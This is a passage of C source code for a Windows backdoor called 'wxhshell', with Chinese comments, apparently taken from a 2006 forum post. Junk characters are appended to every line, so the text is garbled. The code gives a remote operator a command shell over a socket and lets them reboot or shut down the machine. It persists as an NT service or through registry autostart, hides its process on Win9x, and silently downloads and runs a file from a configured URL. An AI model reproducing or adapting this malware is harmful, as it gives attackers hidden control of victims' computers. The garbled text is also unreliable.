    else 19j+lCSvH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Tm^  
    break; T16{_  
    } /, !B2  
  // 卸载 jb^N|zb  
  case 'r': { oDU ;E  
    if(Uninstall()) g2T -TG'd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [!U?}1YQ  
    else EeF'&zE-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ANps1w#TP  
    break; nTz6LVF  
    } .Fa4shNV  
  // 显示 wxhshell 所在路径 ZAXN6h  
  case 'p': { Y2?.}ZO  
    char svExeFile[MAX_PATH]; 9s_,crq5  
    strcpy(svExeFile,"\n\r"); #jxe%2'Ot  
      strcat(svExeFile,ExeFile); q2et|QCru  
        send(wsh,svExeFile,strlen(svExeFile),0); fOMvj%T@2  
    break; I:d[Q s  
    } :=[XW?L%x  
  // 重启 iX4Iu3  
  case 'b': {  z~>pVs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |K|h+fgG6*  
    if(Boot(REBOOT)) XQ~Ke-QW)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gw}Mw  
    else {  ,qYJioWX  
    closesocket(wsh); `2PLWo  
    ExitThread(0); ti<;7Yb  
    } f0BdXsV#g  
    break; HVC >9_:]  
    } PK4iuU`vh  
  // 关机 ]TyisaT  
  case 'd': { oun;rMq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \R3H+W  
    if(Boot(SHUTDOWN)) 78/N   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P'O#I}Dmw<  
    else { W[^qa5W<FB  
    closesocket(wsh); C|?o*fQ  
    ExitThread(0); lf!FTm7  
    } C(K; zo*S(  
    break; m ]cHF.:5  
    } ;JRs?1<='  
  // 获取shell q.()z(M 7  
  case 's': { vVgg0Y2  
    CmdShell(wsh); e@ \p0(  
    closesocket(wsh); QurW/a  
    ExitThread(0); Jzp#bgq}|  
    break; Nq@+'<@p$  
  } ~O1&@xX  
  // 退出 &|`C)6[C  
  case 'x': { kGN+rHo   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "&%#!2  
    CloseIt(wsh); h)Ff2tX  
    break; !0dNQ[$82  
    } w/IZDMBf|  
  // 离开 Vo"RO$%ow*  
  case 'q': { ^'ryNa;"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _BDK`D  
    closesocket(wsh); +tD[9b! m  
    WSACleanup(); hsw9(D>jp  
    exit(1); e A}%C.ZR  
    break; O1`9Y}G(r  
        } ?Sb8@S&J  
  } G7CG~:3h+  
  } zH*KYB  
%zO h  
  // 提示信息 d%0~c'D8a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ogp"u b8  
} \~5C7^_  
  } S*sT] J`!  
Y9`5G%  
  return; DzheoA-+L'  
} XyOl:>%L!P  
%DQhM,c@  
// shell模块句柄 V3ndV-uQE  
int CmdShell(SOCKET sock) RTFZPq84  
{ V14B[|YM<  
STARTUPINFO si; .YZgOJi  
ZeroMemory(&si,sizeof(si)); >|Cw\^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !XzF67  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > z^#  
PROCESS_INFORMATION ProcessInfo; HdLH2+|P;D  
char cmdline[]="cmd"; <2nZ&M4/s{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2 6>ZW4Z  
  return 0; -<_Ww\%8M  
} ?SC[G-b  
Hp(D);0+)  
// 自身启动模式 XduV+$ 03  
int StartFromService(void) E(i[o?  
{ EFc-foN  
typedef struct O%ug@& S{  
{ W\L`5CW  
  DWORD ExitStatus; "ax..Mh\y  
  DWORD PebBaseAddress; <u=4*:QE  
  DWORD AffinityMask; |> _!eS\=<  
  DWORD BasePriority; \fjMc }'  
  ULONG UniqueProcessId; dqX;#H}h  
  ULONG InheritedFromUniqueProcessId; X~xd/M=9^  
}   PROCESS_BASIC_INFORMATION; `w.AQ?p@  
{Ixg2=E\  
PROCNTQSIP NtQueryInformationProcess; X7g3  
8Mbeg ,P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ys#i@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E.iSWAJ(w  
2>l,no39t+  
  HANDLE             hProcess; ZoB {x*IH  
  PROCESS_BASIC_INFORMATION pbi; NzW`B^p  
NxLXm,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /CIh2 ]#e  
  if(NULL == hInst ) return 0; XhPe]P  
g%k`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P(a.iu5   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w\19[U3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g5q$A9.Jl  
sk|=% }y  
  if (!NtQueryInformationProcess) return 0; |0,vQv  
%r iK+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k'PQ} ,Vb  
  if(!hProcess) return 0; 3.)b4T  
o#[ KS:Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U #~;)fZ  
O MX-_\")  
  CloseHandle(hProcess); BJS-Jy$-  
~j'l.gQb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "p3_y`h6+  
if(hProcess==NULL) return 0; 8_!.!Kde |  
v{ <[)cr  
HMODULE hMod;  P5gN#G  
char procName[255]; [+Y{%U  
unsigned long cbNeeded; ]LZ`LL'#Y_  
k;5Pom  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o-cAG{.WC  
eVl'\aUd  
  CloseHandle(hProcess); J/6`oh?,Q  
|D.O6?v@  
if(strstr(procName,"services")) return 1; // 以服务启动 ph2$oO 6,  
9RwawTM  
  return 0; // 注册表启动 !SKV!xH9  
} ;;)`c/$  
{>bW>RO)  
// 主模块 tW;:-  
int StartWxhshell(LPSTR lpCmdLine) s[Ur~Wvn  
{ 1J? dK|% b  
  SOCKET wsl; D.%B$Y;G  
BOOL val=TRUE; Y[SU&LM  
  int port=0; |/ }\6L]  
  struct sockaddr_in door; y3<Y?M4  
1h7+@#<:a  
  if(wscfg.ws_autoins) Install(); ]/cd;u  
vOgC>_x7  
port=atoi(lpCmdLine); @d&/?^dp6  
:3$}^uzIq  
if(port<=0) port=wscfg.ws_port; ]P[%Mhg^  
0ji q-3V)  
  WSADATA data; X#w%>al  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p#KW$OQ]8  
-@&1`@):{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6/ `.(fL1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4eH.9t  
  door.sin_family = AF_INET; ai*b:Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z"s|]K "  
  door.sin_port = htons(port); _e!F~V.  
i5F:r|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *xR 2)u  
closesocket(wsl); rNl.7O9b  
return 1; A-ZmG7xk  
} +([!A6:  
yGp z,X4x  
  if(listen(wsl,2) == INVALID_SOCKET) { y]e>E  
closesocket(wsl); =xianQ<lK  
return 1; V#q}Wysft  
} A`6ra}U<  
  Wxhshell(wsl); )$Z(|M4  
  WSACleanup(); P;]F=m+ *V  
[hRU&z;W  
return 0; :!zC"d9@  
V,ZY*f0  
} m?[5J)eR  
H0"=Vs,n  
// 以NT服务方式启动 "gW7<ilw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  8%RI7Mg  
{ D,ly#Nn  
DWORD   status = 0; OVk ~N)  
  DWORD   specificError = 0xfffffff; uENdI2EY8y  
M*pRv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =22ALlxk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A 699FQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [t0rfl{.  
  serviceStatus.dwWin32ExitCode     = 0; W2wpcc  
  serviceStatus.dwServiceSpecificExitCode = 0; iwY'4 Z e  
  serviceStatus.dwCheckPoint       = 0; YW; Hk1  
  serviceStatus.dwWaitHint       = 0; N6Z{BLZ  
P|jF6?C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =GR 'V  
  if (hServiceStatusHandle==0) return; Dmdy=&G  
8n?kZY$,  
status = GetLastError(); f*xpE`&  
  if (status!=NO_ERROR) <JI& {1  
{ 1MA@JA:T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dv N<5~  
    serviceStatus.dwCheckPoint       = 0; ;9uRO*H?T  
    serviceStatus.dwWaitHint       = 0; o`r(`6@  
    serviceStatus.dwWin32ExitCode     = status; 0&fl#]oCE  
    serviceStatus.dwServiceSpecificExitCode = specificError; %3Bpn=k>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vi {uy  
    return; CV.+P-  
  } _`a&9i &  
.gYt0raSY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PK rek  
  serviceStatus.dwCheckPoint       = 0; $R^lo $(  
  serviceStatus.dwWaitHint       = 0; #2%([w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M2T|"Q"=  
} 6/mF2&&g  
rj  H`  
// 处理NT服务事件,比如:启动、停止 So4nJ><p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s'_,:R\VM>  
{ ms~8QL  
switch(fdwControl) )fh0&Y; R  
{ &:#m&,tQ  
case SERVICE_CONTROL_STOP: .]76!(fWZ  
  serviceStatus.dwWin32ExitCode = 0; =ak7ld A=2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9XV^z*E(J  
  serviceStatus.dwCheckPoint   = 0; IjZ@U%g@;  
  serviceStatus.dwWaitHint     = 0; >xd<YwXZ  
  { t<b3K-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?~2Bi^W5  
  } !0fI"3P@r  
  return; x,Y 5U+]E  
case SERVICE_CONTROL_PAUSE: |pWaBh|r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6f] rQ9  
  break; yBn_Kd  
case SERVICE_CONTROL_CONTINUE: jM__{z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d(L{!mm  
  break; @"1}16b#f  
case SERVICE_CONTROL_INTERROGATE: m@ oUvxcd  
  break; d5U; $q{o  
};  93w~.p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )mkS5j`5\  
} MD'>jO;n  
y(8d?]4:_  
// 标准应用程序主函数 &:!ij  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?q%b*Ek  
{ Fh`-(,e?5  
<TjBd1  
// 获取操作系统版本 zk>h u<_  
OsIsNt=GetOsVer(); |< N frz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NfF~dK|  
koH4~m{  
  // 从命令行安装 %D^bah f  
  if(strpbrk(lpCmdLine,"iI")) Install(); &`@M8-m#F  
/4C`k=>  
  // 下载执行文件 eF1.VLI  
if(wscfg.ws_downexe) { 6GKT yN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JE)J<9gf  
  WinExec(wscfg.ws_filenam,SW_HIDE); u7muaSy  
} `-D$Fsl  
VG#Q;Xd}  
if(!OsIsNt) { V.,bwPb{9  
// 如果时win9x,隐藏进程并且设置为注册表启动 K+mU_+KRp  
HideProc(); R`Qp d3  
StartWxhshell(lpCmdLine); %CT!$Y'n  
} P^(.tr3t  
else &|=?a cv  
  if(StartFromService()) 4 =Fg!Eu<  
  // 以服务方式启动 H7jTQW0rp5  
  StartServiceCtrlDispatcher(DispatchTable); cV]y=q 6  
else WEVl9]b'e+  
  // 普通方式启动 ^K*-G@B  
  StartWxhshell(lpCmdLine); _$(GRNRYK  
k5X b}@  
return 0; S OI)/u  
}
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只看该作者 1 发表于: 2006-10-10
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